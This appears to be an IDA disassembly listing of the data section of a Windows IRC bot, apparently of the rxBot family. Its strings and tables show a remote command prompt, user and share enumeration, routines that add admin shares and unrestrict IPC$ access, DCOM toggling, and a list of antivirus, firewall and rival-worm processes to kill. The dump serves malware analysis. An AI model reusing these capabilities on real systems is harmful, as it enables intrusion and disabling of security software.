aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_439CE8	db  2Dh	; -		; DATA XREF: sub_419443+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_419443+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_419443+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_419443+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_419443+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_419443:loc_419562o
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_419443:loc_41955Bo
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_419443:loc_419554o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_419443+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_419443+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_419443+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
		align 4
unk_439EA4	db  2Dh	; -		; DATA XREF: sub_41982C+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_41982C+BEo
		align 4
unk_439ED8	db  2Dh	; -		; DATA XREF: sub_41982C+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4199AC:loc_419A90o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4199AC+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4199AC:loc_419A0Fo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4199AC:loc_4199FBo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
		align 10h
dword_43A1E0	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419AE0+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43A20C	db  2Dh	; -		; DATA XREF: sub_419AE0+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_43A238	dd offset aRegedit_exe	; DATA XREF: sub_419C09+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43A340
		dd offset dword_43A334
		dd offset dword_43A328
		dd offset dword_43A31C
		dd offset dword_43A310
		dd offset dword_43A304
		dd offset dword_43A2F4
		dd offset dword_43A2E8
		dd offset dword_43A2DC
		dd offset dword_43A2D0
		dd offset dword_43A2C4
		dd offset dword_43A2B4
		dd offset dword_43A2A8
		dd offset dword_43A298
dword_43A298	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_419C09+ECo
					; ___:0043A294o
dword_43A2A8	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A290o
dword_43A2B4	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:0043A28Co
dword_43A2C4	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:0043A288o
dword_43A2D0	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A284o
dword_43A2DC	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A280o
dword_43A2E8	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A27Co
dword_43A2F4	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:0043A278o
dword_43A304	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:0043A274o
dword_43A310	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:0043A270o
dword_43A31C	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:0043A26Co
dword_43A328	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:0043A268o
dword_43A334	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:0043A264o
dword_43A340	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:0043A260o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A25Co
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A258o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:0043A254o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:0043A250o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:0043A24Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:0043A248o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:0043A244o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:0043A240o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:0043A23Co
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_43A238o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419C09+191o
		align 10h
unk_43A3F0	db  2Dh	; -		; DATA XREF: sub_419E38:loc_419EBFo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43A414	db  2Dh	; -		; DATA XREF: sub_419E38+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_43A438	db  2Dh	; -		; DATA XREF: sub_419E38+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A468	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A18Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A498	db  2Dh	; -		; DATA XREF: sub_41A05C+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_43A4C0	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A142o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_43A4F0	db  2Dh	; -		; DATA XREF: sub_41A1B1+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A524	db  2Dh	; -		; DATA XREF: sub_41A1B1+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_43A548	dd offset dword_43A580	; DATA XREF: sub_41A3C6+1B3o
					; sub_41A6EA+17Ao
		align 10h
		dd offset dword_43A578
		align 8
off_43A558	dd offset dword_43A574	; DATA XREF: sub_41A6EA+1E3o
		dd offset off_43A570
		dd offset dword_43A56C
		dd offset off_43A568
off_43A568	dd offset dword_5C3A44	; DATA XREF: sub_41A3C6+217o
					; ___:0043A564o
dword_43A56C	dd 2444h		; DATA XREF: ___:0043A560o
off_43A570	dd offset byte_5C3A43	; DATA XREF: ___:0043A55Co
dword_43A574	dd 2443h		; DATA XREF: ___:off_43A558o
dword_43A578	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A550o
dword_43A580	dd 24435049h, 0		; DATA XREF: ___:off_43A548o
dword_43A588	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2E5o
					; sub_41A6EA+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A5B8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 10h
dword_43A5E0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A628o
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A60C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_43A630	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A65C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_43A680	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F8o
					; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A6B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A6EC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_43A720	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
					; sub_41A6EA+EDo
		align 10h
dword_43A770	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+91o
					; sub_41A6EA+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A7A0	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A3C6:loc_41A433o
		dd 62617369h, 2E64656Ch, 0
dword_43A7C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A3C6+54o
					; sub_41A6EA+54o
		align 10h
dword_43A7F0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_1		db '%c:\',0             ; DATA XREF: sub_41A6EA+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_41A6EA+219o
dword_43A820	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A889o
					; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A848	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+198o
					; sub_41A6EA+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A868	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A8A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A8DC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A91C	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A6EA:loc_41A757o
		dd 6C62616Eh, 2E6465h
dword_43A938	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dword_43A990	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41ABFB+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41ABFB+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41ABFB+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41ABFB+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41ABFB+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41ABFB+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41ABFB+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41ABFB+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41ABFB+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41ABFB+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41ABFB+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41ABFB+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41ABFB+3Fo
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41ABFB+38o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41ABFB+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41ABFB+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41ABFB+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41ABFB+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41ABFB+15o
dword_43AB9C	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AF8F+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43AC78	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AF8F+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
		align 4
dword_43AC9C	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41B243+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43ACE0	dd offset loc_412F4E	; DATA XREF: sub_41B243:loc_41B2AFo
off_43ACE4	dd offset dword_4E414C	; DATA XREF: sub_41B243:loc_41B2A5o
dword_43ACE8	dd 6C616944h, 70752Dh	; DATA XREF: sub_41B243+5Bo
dword_43ACF0	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41B243+48o
unk_43AD00	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4BBo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 10h
unk_43AD30	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4B4o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43AD5C	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41B302+1A0o
		dd 4C525520h, 2Eh
unk_43AD78	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B495o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43ADB4	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41B302+18Co
		dd 64657469h, 2Eh
dword_43ADD0	dd 2A2F2Ah		; DATA XREF: sub_41B302+3Bo
word_43ADD4	dw 4			; DATA XREF: sub_41B55B+10r
		align 4
dword_43ADD8	dd 6325h		; DATA XREF: ___:0041B89Co
dword_43ADDC	dd 0DFFh		; DATA XREF: ___:0041B6EAo
dword_43ADE0	dd 51FFh		; DATA XREF: ___:0041B6DFo
dword_43ADE4	dd 0EBFFh		; DATA XREF: ___:0041B6D4o
dword_43ADE8	dd 201h			; DATA XREF: ___:0041B6BFo
dword_43ADEC	dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo
dword_43AE00	dd 6120767Eh		; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
		align 10h
dword_43AE10	dd 173Fh		; DATA XREF: sub_41D055+Dr
		dd 9875h, 9873h
off_43AE1C	dd offset sub_41D124	; DATA XREF: ___:0041C164r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43AE28	dd 1B3Fh		; DATA XREF: sub_41D19B+Dr
dword_43AE2C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41D61D+2o
					; sub_41D626+2o
off_43AE40	dd offset sub_41C1A2	; DATA XREF: sub_41E2C9+1Cr
dword_43AE44	dd 2			; DATA XREF: sub_423D98+Er
					; sub_423DD1+46r ...
		dd 10h,	0
off_43AE50	dd offset off_43AE50	; DATA XREF: sub_41F216+Do
					; sub_41F216+69o ...
off_43AE54	dd offset off_43AE50	; DATA XREF: sub_41F216:loc_41F296r
					; sub_41F216+89w ...
		dd offset dword_43AE68
		dd offset dword_43AE68
dword_43AE60	dd 0FFFFFFFFh		; DATA XREF: sub_41F216r
					; sub_41F35A:loc_41F3A7w
		dd 0FFFFFFFFh
dword_43AE68	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043AE58o
					; ___:0043AE5Co
off_43CE70	dd offset off_43AE50	; DATA XREF: sub_41F35A+15r
					; sub_41F35A+20w ...
dword_43CE74	dd 1E0h			; DATA XREF: sub_41BBE2+185r
					; sub_41BEF3:loc_41BF2Fr ...
off_43CE78	dd offset word_43CE82	; DATA XREF: sub_41C0CE+23r
					; sub_41C0CE:loc_41C12Fr ...
off_43CE7C	dd offset word_43CE82	; DATA XREF: sub_42686F+18r
		db 2 dup(0)
word_43CE82	dw 20h			; DATA XREF: sub_424FF8+18r
					; ___:off_43CE78o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D084	dd 1			; DATA XREF: sub_41C0CE:loc_41C0D6r
					; sub_41C0CE:loc_41C11Ar ...
byte_43D088	db 2Eh			; DATA XREF: sub_420DB0:loc_4210A4r
					; sub_420DB0+311r ...
		align 4
		dd 1
off_43D090	dd offset aNull_0	; DATA XREF: sub_41FF3F:loc_4202A3r
					; sub_41FF3F+457r
					; "(null)"
off_43D094	dd offset aNull		; DATA XREF: sub_41FF3F+259r
					; "(null)"
byte_43D098	db 1			; DATA XREF: sub_420749+E1r
		db 2, 4, 8
		align 10h
dword_43D0A0	dd 3A4h			; DATA XREF: sub_420749+2Fo
dword_43D0A4	dd 82798260h, 21h, 0	; DATA XREF: sub_420749+11Dr
dword_43D0B0	dd 0DFA6h		; DATA XREF: sub_420749+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D190	dd 1			; DATA XREF: sub_420749+3Co
					; sub_420C7F+Co
dword_43D194	dd 16h			; DATA XREF: sub_420C7F:loc_420CB4r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43D2F8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_420C7F+19o
					; sub_420DB0:loc_421317o
dword_43D300	dd 5Dh,	0		; DATA XREF: sub_420DB0:loc_421207o
dword_43D308	dd 14h			; DATA XREF: sub_421EC4+2o
off_43D30C	dd offset aExp		; DATA XREF: sub_421EC4:loc_421EE1r
					; "exp"
		dd 1Dh,	427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h
		dd 13h,	427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
		dd 0Fh,	427820h, 10h, 427818h, 5, 427810h, 1Eh,	42780Ch
		dd 12h,	427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
		dd 15h,	4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
		dd 18h,	4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
		dd 23h,	4277B4h, 24h, 4277B0h
dbl_43D3E0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+B7r
					; sub_421BFF:loc_421CE6r ...
		dd 0
		dd 0FFF80000h
dbl_43D3F0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+92r
					; sub_421BFF:loc_421CBEr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43D408	dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
					; sub_4220AC+1Fr
		align 4
tbyte_43D414	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
		align 10h
off_43D420	dd offset sub_422540	; DATA XREF: sub_41D13C+Fw
					; sub_41FF3F+3AAr
off_43D424	dd offset sub_4221D5	; DATA XREF: sub_41D13C+5w
					; sub_41FF3F+3E2r
off_43D428	dd offset sub_42223B	; DATA XREF: sub_41D13C+14w
					; sub_420DB0+430r
off_43D42C	dd offset sub_42217B	; DATA XREF: sub_41D13C+1Ew
					; sub_41FF3F+3CBr
off_43D430	dd offset sub_422223	; DATA XREF: sub_41D13C+28w
off_43D434	dd offset sub_422540	; DATA XREF: sub_41D13C+32w
		dd offset sub_424F1C
		align 10h
		dd offset sub_422DFC
off_43D444	dd offset sub_422DFC	; DATA XREF: sub_422E52+29r
dword_43D448	dd 0C0000005h		; DATA XREF: sub_423638+Ar
					; sub_423638+11o ...
dword_43D44C	dd 0Bh			; DATA XREF: sub_425D33+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
